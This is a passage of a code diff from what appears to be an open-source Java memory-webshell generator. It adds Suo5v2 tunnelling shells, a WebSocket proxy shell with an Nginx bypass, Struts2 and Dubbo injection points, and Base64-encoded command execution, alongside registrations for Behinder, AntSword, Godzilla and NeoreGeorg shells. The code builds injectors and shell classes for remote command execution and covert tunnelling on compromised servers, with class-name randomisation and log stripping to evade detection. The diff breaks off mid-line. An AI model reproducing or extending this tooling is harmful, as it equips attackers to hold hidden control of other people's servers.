                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
+                .addShellClass(ACTION, Suo5Struts2Action.class)
+                .build());
+
+        addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
+                .addShellClass(SERVLET, Suo5v2Servlet.class)
+                .addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
+                .addShellClass(FILTER, Suo5v2Filter.class)
+                .addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
+                .addShellClass(LISTENER, Suo5v2Listener.class)
+                .addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
+                .addShellClass(VALVE, Suo5v2Valve.class)
+                .addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
+                .addShellClass(PROXY_VALVE, Suo5v2.class)
+                .addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
+                .addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
+                .addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
+                .addShellClass(ACTION, Suo5v2Struts2Action.class)
+                .addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
                .build());

        addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -193,6 +243,14 @@ public class ServerFactory {
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
+                .addShellClass(ACTION, NeoreGeorgStruts2Action.class)
+                .build());
+
+        addToolMapping(ShellTool.Proxy, ToolMapping.builder()
+                .addShellClass(WEBSOCKET, ProxyWebSocket.class)
+                .addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
+                .addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
+                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
                .build());
    }

@@ -9,7 +9,9 @@ public class ShellTool {
    public static final String Behinder = "Behinder";
    public static final String Command = "Command";
    public static final String Suo5 = "Suo5";
+    public static final String Suo5v2 = "Suo5v2";
    public static final String AntSword = "AntSword";
    public static final String NeoreGeorg = "NeoreGeorg";
+    public static final String Proxy = "Proxy";
    public static final String Custom = "Custom";
 }
@@ -23,9 +23,11 @@ public class ShellToolFactory {
        register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
        register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
        register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
+        register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
        register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
        register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
        register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
+        register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
    }

    public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
@@ -15,17 +15,22 @@ public class ShellType {
    public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;

    public static final String VALVE = "Valve";
+    public static final String UPGRADE = "Upgrade";
    public static final String JAKARTA_VALVE = JAKARTA + VALVE;
    public static final String PROXY_VALVE = "Proxy" + VALVE;
    public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;

+    public static final String HANDLER = "Handler";
+    public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
+    public static final String CUSTOMIZER = "Customizer";
+
    public static final String NETTY_HANDLER = "NettyHandler";

    public static final String AGENT = "Agent";

    public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
    public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
-    public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
+    public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
    public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
    public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
    public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@@ -40,5 +45,13 @@ public class ShellType {
    public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
    public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
    public static final String WEBSOCKET = "WebSocket";
+    public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
    public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
+    public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
+
+    public static final String ACTION = "Action";
+
+    public static final String DUBBO_SERVICE = "DubboService";
+    public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
+    public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
 }
@@ -15,15 +15,42 @@ import org.apache.commons.lang3.StringUtils;
@SuperBuilder
@ToString
 public class CommandConfig extends ShellToolConfig {
+
+    /**
+     * 接收参数的请求头或请求参数名称
+     */
    @Builder.Default
    private String paramName = CommonUtil.getRandomString(8);

+    /**
+     * 只有在 WebSocket Bypass 的时候才有用，防止对业务的干扰
+     */
+    @Builder.Default
+    private String headerName = "User-Agent";
+
+    /**
+     * 只有在 WebSocket Bypass 的时候才有用，防止对业务的干扰
+     */
+    @Builder.Default
+    private String headerValue = CommonUtil.getRandomString(8);
+
+    /**
+     * 加密器
+     */
    @Builder.Default
    private Encryptor encryptor = Encryptor.RAW;

+    /**
+     * 实现类
+     */
    @Builder.Default
    private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;

+    /**
+     * 命令执行模板，使用 {command} 作为占位符
+     */
+    private String template;
+
    public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
            extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
        public B paramName(String paramName) {
@@ -33,6 +60,22 @@ public class CommandConfig extends ShellToolConfig {
            }
            return self();
        }
+
+        public B headerName(final String headerName) {
+            if (StringUtils.isNotBlank(headerName)) {
+                this.headerName$value = headerName;
+                headerName$set = true;
+            }
+            return self();
+        }
+
+        public B headerValue(final String headerValue) {
+            if (StringUtils.isNotBlank(headerValue)) {
+                this.headerValue$value = headerValue;
+                headerValue$set = true;
+            }
+            return self();
+        }
    }


@@ -48,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
    }

    public enum Encryptor {
-        RAW, DOUBLE_BASE64;
+        RAW, BASE64, DOUBLE_BASE64;

        public static Encryptor fromString(String encryptor) {
            if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
                return DOUBLE_BASE64;
            }
+            if (encryptor != null && encryptor.equals("BASE64")) {
+                return BASE64;
+            }
            return RAW;
        }
    }
@@ -16,34 +16,46 @@ import net.bytebuddy.dynamic.DynamicType;
@AllArgsConstructor
@Builder(toBuilder = true)
 public class InjectorConfig {
-    /**
-     * 注入器 Builder
-     */
-    DynamicType.Builder<?> injectorBuilder;
-    /**
-     * 内存马 Builder
-     */
-    DynamicType.Builder<?> shellBuilder;
    /**
     * 注入器模板类
     */
    private Class<?> injectorClass;
+
    /**
     * 注入器类名
     */
    @Builder.Default
    private String injectorClassName = CommonUtil.generateInjectorClassName();
+
+    /**
+     * 辅助类类名
+     */
+    private String injectorHelperClassName;
+
+
    /**
     * 注入访问的地址
     */
    @Builder.Default
    private String urlPattern = "/*";
+
    /**
     * 内存马类名
     */
    private String shellClassName;
+
    /**
     * 内存马类字节
     */
    private byte[] shellClassBytes;
+
+    /**
+     * 辅助类字节码
+     */
+    private byte[] helperClassBytes;
+
+    /**
+     * 添加静态代码块调用构造方法初始化
+     */
+    private boolean staticInitialize;
 }
@@ -0,0 +1,38 @@
+package com.reajason.javaweb.memshell.config;
+
+import com.reajason.javaweb.utils.CommonUtil;
+import lombok.*;
+import lombok.experimental.SuperBuilder;
+import org.apache.commons.lang3.StringUtils;
+
+@Getter
+@SuperBuilder
+@NoArgsConstructor
+@AllArgsConstructor
+@ToString
+public class ProxyConfig extends ShellToolConfig {
+    @Builder.Default
+    private String headerName = "User-Agent";
+    @Builder.Default
+    private String headerValue = CommonUtil.getRandomString(8);
+
+    public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
+            extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
+
+        public B headerName(final String headerName) {
+            if (StringUtils.isNotBlank(headerName)) {
+                this.headerName$value = headerName;
+                headerName$set = true;
+            }
+            return self();
+        }
+
+        public B headerValue(final String headerValue) {
+            if (StringUtils.isNotBlank(headerValue)) {
+                this.headerValue$value = headerValue;
+                headerValue$set = true;
+            }
+            return self();
+        }
+    }
+}
@@ -55,19 +55,36 @@ public class ShellConfig {
    @Builder.Default
    private boolean debug = false;

+    /**
+     * 是否使用回显模式
+     */
+    @Builder.Default
+    private boolean probe = false;
+
    /**
     * 是否启用缩小字节码
     */
    @Builder.Default
    private boolean shrink = false;

+    /**
+     * 追加 Lambda 类名后缀
+     */
+    @Builder.Default
+    private boolean lambdaSuffix = false;
+
+    /**
+     * 将 Java EE 转换为 Jakarta EE 类名
+     */
+    @Builder.Default
+    private boolean jakarta = false;
+
    public boolean isDebugOff() {
        return !debug;
    }

-
    public boolean isJakarta() {
-        return shellType.startsWith(ShellType.JAKARTA);
+        return jakarta || shellType.startsWith(ShellType.JAKARTA);
    }

    public boolean needByPassJavaModule() {
@@ -1,9 +1,11 @@
 package com.reajason.javaweb.memshell.config;

+import com.fasterxml.jackson.annotation.JsonIgnore;
 import lombok.AllArgsConstructor;
 import lombok.Data;
 import lombok.NoArgsConstructor;
 import lombok.experimental.SuperBuilder;
+import net.bytebuddy.description.type.TypeDescription;

 /**
 * @author ReaJason
@@ -19,6 +21,9 @@ public class ShellToolConfig {
     */
    private Class<?> shellClass;

+    @JsonIgnore
+    private transient TypeDescription shellTypeDescription;
+
    /**
     * shellClass 的类名
     */
@@ -1,19 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ShellGenerator;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-
-/**
- * @author ReaJason
- * @since 2025/5/27
- */
-public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
-    protected final ShellConfig shellConfig;
-    protected final T shellToolConfig;
-
-    protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
-        this.shellConfig = shellConfig;
-        this.shellToolConfig = shellToolConfig;
-    }
-}
@@ -1,15 +1,11 @@
 package com.reajason.javaweb.memshell.generator;

-import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.GenerationException;
 import com.reajason.javaweb.ShellGenerator;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.ServerFactory;
-import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.server.AbstractServer;
+import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;

 /**
@@ -27,37 +23,31 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme

    protected abstract DynamicType.Builder<?> getBuilder();

+    protected byte[] postProcessBytes(byte[] classBytes) {
+        return classBytes;
+    }
+
    @Override
    public byte[] getBytes() {
-        Class<?> shellClass = shellToolConfig.getShellClass();
-        String shellClassName = shellToolConfig.getShellClassName();
        DynamicType.Builder<?> builder = getBuilder();
+        String shellClassName = shellToolConfig.getShellClassName();
+        Class<?> shellClass = shellToolConfig.getShellClass();

-        String shellType = shellConfig.getShellType();
-        AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
-
-        if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
-            builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
+        if (shellClass != null) {
+            shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
        }

-        if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
-            builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
+        if (shellToolConfig.getShellTypeDescription() == null) {
+            throw new GenerationException("shellClass or shellTypeDescription could not be null.");
        }

-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        builder = builder
+        builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
                .name(shellClassName)
                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));

        try (DynamicType.Unloaded<?> unloaded = builder.make()) {
-            return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
+            byte[] bytes = postProcessBytes(unloaded.getBytes());
+            return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
        }
    }
 }
@@ -8,6 +8,7 @@ import net.bytebuddy.dynamic.ClassFileLocator;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.jar.asm.ClassReader;
 import net.bytebuddy.pool.TypePool;
+import org.apache.commons.lang3.StringUtils;

 import java.util.Base64;

@@ -27,12 +28,19 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
        byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
        ClassReader classReader = new ClassReader(classBytes);
        String className = classReader.getClassName().replace('/', '.');
-        ClassFileLocator classFileLocator = ClassFileLocator.Simple.of(className, classBytes);
+        if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
+            shellToolConfig.setShellClassName(className);
+        }
+        ClassFileLocator compoundLocator = new ClassFileLocator.Compound(
+                ClassFileLocator.Simple.of(className, classBytes),
+                ClassFileLocator.ForClassLoader.of(this.getClass().getClassLoader())
+        );
        TypeDescription typeDescription = new TypePool.Default(
-                new TypePool.CacheProvider.Simple(), classFileLocator,
+                new TypePool.CacheProvider.Simple(), compoundLocator,
                TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
        ).describe(className).resolve();
+        shellToolConfig.setShellTypeDescription(typeDescription);
        return new ByteBuddy()
-                .redefine(typeDescription, classFileLocator);
+                .redefine(typeDescription, compoundLocator);
    }
 }
@@ -0,0 +1,19 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+
+public class DubboServiceInterfaceHelperGenerator {
+    public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
+        try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
+                .redefine(ShellDubboService.class)
+                .name(interfaceName)
+                .make()) {
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
+        }
+    }
+}
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator;
 import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.asm.InnerClassDiscovery;
 import com.reajason.javaweb.buddy.*;
+import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.utils.CommonUtil;
@@ -48,6 +49,12 @@ public class InjectorGenerator {
                .method(named("getBase64String")).intercept(FixedValue.value(base64String))
                .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));

+        byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
+        if (helperClassBytes != null) {
+            String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
+            builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
+        }
+
        if (shellConfig.needByPassJavaModule()) {
            builder = ByPassJavaModuleInterceptor.extend(builder);
        }
@@ -59,6 +66,10 @@ public class InjectorGenerator {
        if (shellConfig.isDebugOff()) {
            builder = LogRemoveMethodVisitor.extend(builder);
        }
+
+        if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
+            builder = StaticBlockSelfConstructorCall.extend(builder);
+        }
        return builder;
    }

@@ -1,42 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
-import com.reajason.javaweb.utils.ShellCommonUtil;
-import net.bytebuddy.asm.Advice;
-import net.bytebuddy.description.modifier.Ownership;
-import net.bytebuddy.description.modifier.Visibility;
-import net.bytebuddy.description.type.TypeDescription;
-import net.bytebuddy.dynamic.DynamicType;
-import net.bytebuddy.implementation.FixedValue;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
-
-/**
- * @author ReaJason
- * @since 2025/2/22
- */
-public class ListenerGenerator {
-
-    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
-        builder = builder
-                .visit(MethodCallReplaceVisitorWrapper.newInstance(
-                        "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
-                .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
-
-        boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
-                .getDeclaredMethods()
-                .filter(named("getFieldValue")
-                        .and(takesArguments(Object.class, String.class)))
-                .isEmpty();
-
-        if (methodNotFound) {
-            builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
-                    .withParameters(Object.class, String.class)
-                    .throwing(Exception.class)
-                    .intercept(FixedValue.nullValue())
-                    .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
-        }
-        return builder;
-    }
-}
@@ -0,0 +1,12 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public interface Processor<T> {
+    T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
+}
@@ -0,0 +1,52 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.processors.*;
+import net.bytebuddy.dynamic.DynamicType;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public final class ProcessorRegistry {
+
+    private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
+            new ListenerBuilderModifier(),
+            new ValveBuilderModifier(),
+            new DebugOffBuilderModifier()
+    );
+
+    private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
+            new JakartaPostProcessor(),
+            new JettyHandlerPostProcessor(),
+            new ShrinkPostProcessor()
+    );
+
+    private ProcessorRegistry() {
+        // Prevent instantiation
+    }
+
+    public static DynamicType.Builder<?> applyBuilderProcessors(
+            DynamicType.Builder<?> builder,
+            ShellConfig shellConfig,
+            ShellToolConfig shellToolConfig) {
+        for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
+            builder = processor.process(builder, shellConfig, shellToolConfig);
+        }
+        return builder;
+    }
+
+    public static byte[] applyByteProcessors(
+            byte[] bytes,
+            ShellConfig shellConfig,
+            ShellToolConfig shellToolConfig) {
+        for (Processor<byte[]> processor : BYTE_PROCESSORS) {
+            bytes = processor.process(bytes, shellConfig, shellToolConfig);
+        }
+        return bytes;
+    }
+}
@@ -0,0 +1,17 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.config.ProxyConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+
+public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
+    public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
+        super(shellConfig, shellToolConfig);
+    }
+
+    @Override
+    protected DynamicType.Builder<?> getBuilder() {
+        return new ByteBuddy().redefine(shellToolConfig.getShellClass());
+    }
+}
@@ -0,0 +1,46 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.Suo5Config;
+import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
+import com.reajason.javaweb.utils.CommonUtil;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+import org.apache.commons.codec.binary.Base64;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/12
+ */
+public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
+
+    public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
+        super(shellConfig, suo5Config);
+    }
+
+    @Override
+    protected DynamicType.Builder<?> getBuilder() {
+        if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
+            return new ByteBuddy()
+                    .redefine(shellToolConfig.getShellClass())
+                    .field(named("headerName")).value(shellToolConfig.getHeaderName())
+                    .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
+        }
+        try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
+                .redefine(Suo5v2.class)
+                .name(CommonUtil.generateClassName())
+                .field(named("headerName")).value(shellToolConfig.getHeaderName())
+                .field(named("headerValue")).value(shellToolConfig.getHeaderValue())
+                .visit(TargetJreVersionVisitorWrapper.DEFAULT)
+                .make()) {
+            byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
+            return new ByteBuddy()
+                    .redefine(shellToolConfig.getShellClass())
+                    .field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
+        }
+    }
+}
@@ -0,0 +1,54 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.Server;
+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.config.*;
+import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+import org.apache.commons.lang3.tuple.Pair;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2026/1/13
+ */
+public class WebSocketByPassHelperGenerator {
+    public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
+        if (headerPair == null) {
+            throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
+        }
+
+        if (Server.Tomcat.equals(shellConfig.getServer())) {
+            DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
+                    .redefine(TomcatWsBypassValve.class)
+                    .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
+                    .field(named("headerName")).value(headerPair.getKey())
+                    .field(named("headerValue")).value(headerPair.getValue())
+                    .name(helperClassName);
+            if (shellConfig.isJakarta()) {
+                builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+            }
+            try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
+                return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
+            }
+        }
+        return null;
+    }
+
+    private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
+        if (shellToolConfig instanceof CommandConfig) {
+            return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
+        } else if (shellToolConfig instanceof GodzillaConfig) {
+            return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
+        } else if (shellToolConfig instanceof ProxyConfig) {
+            return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
+        }
+        return null;
+    }
+}
@@ -0,0 +1,16 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import com.reajason.javaweb.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+
+/**
+ * @author ReaJason
+ * @since 2025/4/27
+ */
+public class Base64ParamInterceptor {
+
+    @Advice.OnMethodExit
+    public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
+        returnValue = ShellCommonUtil.base64DecodeToString(param);
+    }
+}
@@ -1,8 +1,6 @@
 package com.reajason.javaweb.memshell.generator.command;

-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.memshell.config.CommandConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
@@ -33,14 +31,6 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
                .field(named("paramName"))
                .value(shellToolConfig.getParamName());

-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
        if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
            builder = builder
                    .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
@@ -52,13 +42,28 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
                    .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
                    .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
        }
-
+        if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
+            builder = builder
+                    .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
+                            shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
+                    .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
+                    .withParameters(String.class)
+                    .throwing(Exception.class)
+                    .intercept(FixedValue.nullValue())
+                    .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
+                    .visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
+        }
        if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
-            builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
+            builder = builder.visit(Advice.withCustomMapping()
+                    .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
+                    .to(RuntimeExecInterceptor.class)
+                    .on(named("getInputStream")));
        } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
-            builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
+            builder = builder.visit(Advice.withCustomMapping()
+                    .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
+                    .to(ForkAndExecInterceptor.class)
+                    .on(named("getInputStream")));
        }
-
        return builder;
    }
 }
@@ -13,9 +13,27 @@ import java.lang.reflect.Method;
 */
 public class ForkAndExecInterceptor {
    @Advice.OnMethodExit
-    public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
+    public static void enter(@Advice.Argument(value = 0) String cmd,
